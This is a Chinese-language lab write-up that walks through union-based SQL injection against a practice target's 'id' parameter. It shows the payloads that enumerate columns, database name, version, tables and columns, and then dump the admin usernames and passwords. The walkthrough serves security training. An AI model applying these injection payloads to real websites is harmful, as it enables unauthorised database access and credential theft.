为了女神小芳(猫舍,sql注入)
靶机链接:http://pu2lh35s.ia.aqlab.cn/
打开链接后是一个猫舍的web
点击“点击查看新闻1”后跳转到新的域名:http://pu2lh35s.ia.aqlab.cn/?id=1
看到域名“http://pu2lh35s.ia.aqlab.cn/?id=1”含有“/?id=1”,猜测存在sql注入漏洞。验证猜测
构造“?id=1 and 1=1”或“?id=1=1”,访问
可以看到,页面返回正常。构造“?id=1 and 1=2”或“?id=1=2”,访问
可以发现页面返回异常。初步判定,这里存在sql注入漏洞的可能性很大
判断字段数
构造“?id=1=1 order by 1”并访问。
页面返回正常。构造“?id=1=1 order by 2”,访问
页面返回正常。再次构造“?id=1=1 order by 3”、访问
页面返回异常,至此能判断出字段数为2
回显点判断
构造“?id=1=1 union select 1,2”、访问
页面返回正常,再次构造“?id=1=2 union select 1,2”,访问
页面返回异常,并且图中红框处显示出“2”。此现象代表此网站切实存在sql注入漏洞,并且可以通过构造字段,在红框处体现出我们想要获得的信息
查询想要得知的内容
构造“/?id=1=2 union select 1,database()”,查询数据库名称
可以查到当前数据库的名字为“maoshe”。
构造“?id=1=2 union select 1,version()”获取数据库版本信息
查询到数据库的版本信息为“5.5.53”
构造“?id=1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1”获取数据库表名
查询到数据库的表名为“admin”。*****此“admin”为数据库的表名,并非用户名******
大部分情况下而言,管理员的账号密码信息都会在“admin”表中
分别构造字段,查询admin表中的内容
“?id=1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1”
“?id=1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1”
“?id=1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1”
由以上构建的字段可以查出“admin”表中含有的字段有“ID”、“useradmin”、“password”
查询“username”字段的内容
构造“?id=1=2 union select 1,username from admin%20 limit 0,1”
获得第一个用户名“admin”
构造“?id=1=2 union select 1,username from admin%20 limit 1,1”
获得第二个用户名“ppt领取微信”
构造“?id=1=2 union select 1,username from admin%20 limit 2,1”
查询到内容为空,代表“username”中只包含两个用户名信息:“admin”和“ppt领取微信”
查询“password”字段的内容
构造“?id=1=2 union select 1,password from admin%20 limit 0,1”查询“password”字段信息
查询到第一个密码为“hellohack”
构造“?id=1=2 union select 1,password from admin%20 limit 1,1”查询“password”字段信息
查询到第二个密码为“zkaqbanban”
构造“?id=1=2 union select 1,password from admin%20 limit 2,1”查询“password”字段信息
查询到内容为空,代表“password”中只包含两个信息:“hellohack”和“zkaqbanban”
至此,两对账户、密码信息已经获得,分别为:“admin/hellohack”和“ppt领取微信/zkaqbanban”
如果是数据库大白的话,建议先学一学数据库知识,最起码的要能够知道基础的命令含义、格式等再考虑SQL注入!!!